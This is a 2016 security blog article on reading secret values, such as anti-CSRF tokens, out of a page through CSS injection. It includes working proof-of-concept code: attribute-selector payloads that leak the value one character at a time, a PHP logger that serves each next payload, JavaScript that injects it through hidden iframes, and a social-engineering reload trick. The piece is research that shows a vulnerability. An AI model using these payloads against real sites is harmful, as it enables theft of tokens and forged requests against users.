Reading Data via CSS Injection

Reading Data via CSS Injection

Date: 2016-12-01 09:58:24

Because modern browsers do not allow the execution of JavaScript via CSS, CSS Injection is often seen as very limited, with the main dangers being defacement by placing images into the vulnerable application, or performing very limited phishing attacks by placing additional content in places a user would not expect user-controlled data to show.

This article will show that it is possible to use CSS Injections to read out secret data in a vulnerable web application, independent of the browser used by the victim. With a successful attack, it would for example be possible to read out an anti-CSRF token and thus to perform CSRF attacks.

The described attack requires that the vulnerable server allows the inclusion in an iFrame and that the victim user visits a website controlled by an attacker.

1. Background Information on CSS Injection

CSS Injections happen when an attacker can place their own CSS code into the CSS context of a vulnerable website. It is functionally similar to Cross Site Scripting, with the difference being that the injected code is CSS, not Javascript.

In the past, there have been various ways to gain XSS via CSS Injection, for example via expression(), by using url() with the javascript protocol, or by using XBL or HTC. None of these will work with modern browsers.

There have also been various approaches to read out data via CSS, for example using regex() or by using fonts. These do not work across browsers or with most modern browsers.

This would leave an attacker with defacing a website by setting a background image via url() or to try a phishing attack by injecting content via the before selector.

2. Basic Idea: Reading Data via CSS

It is possible to read out data from a HTML document via CSS attribute selectors by bruteforcing the value one character at a time.

While CSS attribute selectors do not provide the full power of regular expressions, it is possible to select based on the starting string of an element. Depending on the element, an external URL can be called, thus delivering the first character of the input field to the attacker:

<style> #form2 input[value^='a'] { background-image: url(http://localhost/log.php/a); } #form2 input[value^='b'] { background-image: url(http://localhost/log.php/b); } #form2 input[value^='c'] { background-image: url(http://localhost/log.php/c); } [...] </style> <form action="http://example.com" id="form2"> <input type="text" id="secret" name="secret" value="abc"> </form>

In this example, the goal is to read out the first character of the secret value "abc", which is achieved by the CSS selectors. Depending on the starting character, only one selector will match, which will then call a URL with the responding character, which will in turn log the result.

3. Exploiting Reflected CSS Injection

We have seen that we can read out one character of secret data via CSS, but ideally, we would want to read out all of the secret, not just the first character. We can archive this by automatically updating the CSS payload, thus bruteforcing the entire secret value character by character.

For this attack to be successful, the vulnerable website must be includable in an iFrame and the victim must visit an attacker controlled website.

The process can be described like this:

currentCharacter = ''; // the character currently being retrieved currentString = ''; // the first X characters of the secret that were already retrieved do: switch: case secret beginsWith currentString + 'a': currentCharacter = 'a' case secret beginsWith currentString + 'b': currentCharacter = 'b' [...] default: currentCharacter = '' currentString += currentCharacter while !empty(currentCharacter)

Setup

The attack involves a script that is vulnerable to CSS injection, as well as server- and client-side attack scripts:

The CSS code is injected into http://localhost/css-improved/victim/reflected.php:

// The vulnerable script: <style><?php echo htmlspecialchars($_GET['x']);?></style> <br><br><br><br> <form action="http://example.com" id="form2"> <input type="text" id="secret" name="secret" value="abc"> </form>

The goal is to read out the secret value "abc" in "form2" via CSS. The process can be described with the following image:

The Attacker Javascript gets the current Payload from the Attacker Server and injects it into the Vulnerable Application which then sends the current Character and the updated Payload to the Attacker Server

Attack

The server-side attack script maintains the log of bruteforced characters and supplies the current payload:

<?php if (!empty($_GET['payload'])) { echo urlencode(getCurrentPayload()); } else if (!empty($_GET['clear'])) { clearLog(); } else { $character = str_replace("/css-improved/attacker/log.php/", "", $_SERVER['PHP_SELF']); logCharacter($character); } function getCurrentPayload() { $previous = readLog(); $payload = "{} #form2 input[value^='" . $previous . "a'] { background-image: url(http://localhost/css-improved/attacker/log.php/a); } #form2 input[value^='" . $previous . "b'] { background-image: url(http://localhost/css-improved/attacker/log.php/b); } #form2 input[value^='" . $previous . "c'] { background-image: url(http://localhost/css-improved/attacker/log.php/c); }"; return $payload; } function logCharacter($character) { file_put_contents('./write/log.txt', $character, FILE_APPEND | LOCK_EX); } function readLog() { return file_get_contents('./write/log.txt'); } function clearLog() { file_put_contents('./write/log.txt', ''); }

The JavaScript attack script retrieves the payload from the log script and injects it into the application:

<script> window.onload = function() { var victim = "http://localhost/css-improved/victim/reflected.php?x="; var payload = get("http://localhost/css-improved/attacker/log.php?clear=true"); alert("Starting"); var currentPayload = get("http://localhost/css-improved/attacker/log.php?payload=true"); var previousPayload = ""; while (currentPayload != previousPayload) { createHiddenFrame(victim + currentPayload); previousPayload = currentPayload; alert("Current Payload: " + decodeURI(currentPayload)); currentPayload = get("http://localhost/css-improved/attacker/log.php?payload=true"); } } function createHiddenFrame(url) { var iframe = document.createElement("iframe"); iframe.src = url; iframe.style = "display: hidden"; iframe.height = "0"; iframe.width = "0"; iframe.frameborder = "0"; document.body.appendChild(iframe); } function get(url) { var request = new XMLHttpRequest(); request.open("GET", url, false); request.send(); return request.responseText; } </script>

When a victim visits the script, it will retrieve the current CSS payload from the log.php script and use a hidden iFrame to get the victim to inject the payload into the vulnerable website. When the CSS payload is injected, it will trigger a call to log.php with the currently bruteforced character. The JavaScript payload will then retrieve the newly updated CSS payload from log.php and use another hidden iFrame to inject that CSS payload. The process is repeated until all characters of the secret value are retrieved.

The process of the attack can be observed in a browser console:
The gif shows the attack.
It can be seen that one character after another of the secret is retrieved and send to the attacker.

3. Exploiting Persistent CSS Injection

As long as the vulnerable application is also vulnerable to CSRF when placing the CSS payload, the approach described above also works for persistent CSS Injections. As some applications only protect highly sensitive requests against CSRF, this may be a viable attack vector to escalate various low-level vulnerabilities - a CSS Injection, a low-impact CSRF, and a ClickJacking vulnerability - into a complete CSRF.

With a persistent CSS Injection, an attacker would also have the option of omitting the JavaScript attack code, thus avoiding having to send the victim to a website they control as well as the necessity to include the vulnerable application in an iFrame. The way to achieve this is to have the server-side attack code update the payload automatically each time it receives a new character.

The downside is that because the sending of the characters is happening in the background, it is not possible to automatically get the user to trigger the updated payload by simply sending them back to the vulnerable page. Instead, the user has to repeatedly visit or reload the vulnerable site until all characters are send to the attacker.

Getting a user to press reload may be achieved via social engineering (for example by injecting "An error has occured, please reload the page" via CSS alongside the payload to retrieve characters). Depending on the application, multiple visits of the same site by users may also happen organically.

3. Proof of Concept Download

The example code for the Reflected CSS Injection as well as the Persistent CSS Injection ca be downloaded here:

Download Reflected CSS Injection Code
Download Persistent CSS Injection Code